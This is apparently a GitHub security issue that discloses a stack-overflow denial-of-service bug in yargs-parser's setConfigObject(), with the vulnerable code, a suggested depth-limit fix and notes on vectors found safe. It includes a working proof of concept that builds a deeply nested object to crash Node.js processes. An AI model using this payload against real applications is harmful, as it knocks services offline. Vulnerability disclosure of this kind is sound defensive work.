Skip to content

Security: Uncontrolled Recursion DoS in setConfigObject() - CWE-674 #524

@uug4na

Description

@uug4na

Summary

yargs-parser v22.0.0 setConfigObject() function (line 643 of build/lib/yargs-parser.js) recursively traverses nested objects passed via the configObjects option without any depth limit. An attacker-controlled deeply nested object (~2,500+ levels) causes a RangeError: Maximum call stack size exceeded, crashing the Node.js process.

Severity: Medium (DoS - process crash)
CWE: CWE-674 (Uncontrolled Recursion)

Root Cause

File: build/lib/yargs-parser.js, line 643-662

function setConfigObject(config, prev) {
    Object.keys(config).forEach(function (key) {
        const value = config[key];
        const fullKey = prev ? prev + '.' + key : key;
        if (typeof value === 'object' && value !== null && !Array.isArray(value) 
            && configuration['dot-notation']) {
            setConfigObject(value, fullKey); // UNBOUNDED RECURSION - no depth limit
        }
        else {
            // ...
            setArg(fullKey, value);
        }
    });
}

PoC

const yargsParser = require('yargs-parser');

function buildDeep(depth) {
  let obj = { leaf: 'value' };
  for (let i = depth - 1; i >= 0; i--) {
    obj = { [`l${i}`]: obj };
  }
  return obj;
}

// This crashes the Node.js process
yargsParser([], { configObjects: [buildDeep(5000)] });
// RangeError: Maximum call stack size exceeded

PoC Output

--- setConfigObject recursion test ---
  Depth 100: OK
  Depth 500: OK
  Depth 1000: OK
  Depth 2000: OK
  Depth 2500: CRASH - RangeError: Maximum call stack size exceeded
  Depth 5000: CRASH - RangeError: Maximum call stack size exceeded

Impact

Any application that passes user-controlled JSON to the configObjects option (e.g., configuration loaded from external sources, user-submitted config files) can be crashed. The configObjects option is used by yargs itself when processing configuration objects, so applications built on yargs that load untrusted config data are affected.

A ~2,500-level nested JSON object is approximately 30-40KB, making this a low-bandwidth DoS attack.

Suggested Fix

Add a depth counter parameter and enforce a maximum recursion depth (e.g., 100 levels):

function setConfigObject(config, prev, depth = 0) {
    if (depth > 100) return; // prevent stack overflow
    Object.keys(config).forEach(function (key) {
        // ... existing code ...
        if (typeof value === 'object' && ...) {
            setConfigObject(value, fullKey, depth + 1);
        }
    });
}

Verified NOT Vulnerable

  • Prototype pollution via __proto__: Properly blocked by sanitizeKey() (line 1035-1038) mapping __proto__ to ___proto___
  • Prototype pollution via constructor.prototype: argv created with Object.create(null) (line 167) - no prototype chain to pollute
  • ReDoS: All regex patterns are properly anchored, tested with 100k+ inputs - sub-millisecond
  • Deep dot-notation via CLI: setKey() uses iterative forEach loop, not recursion - safe

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions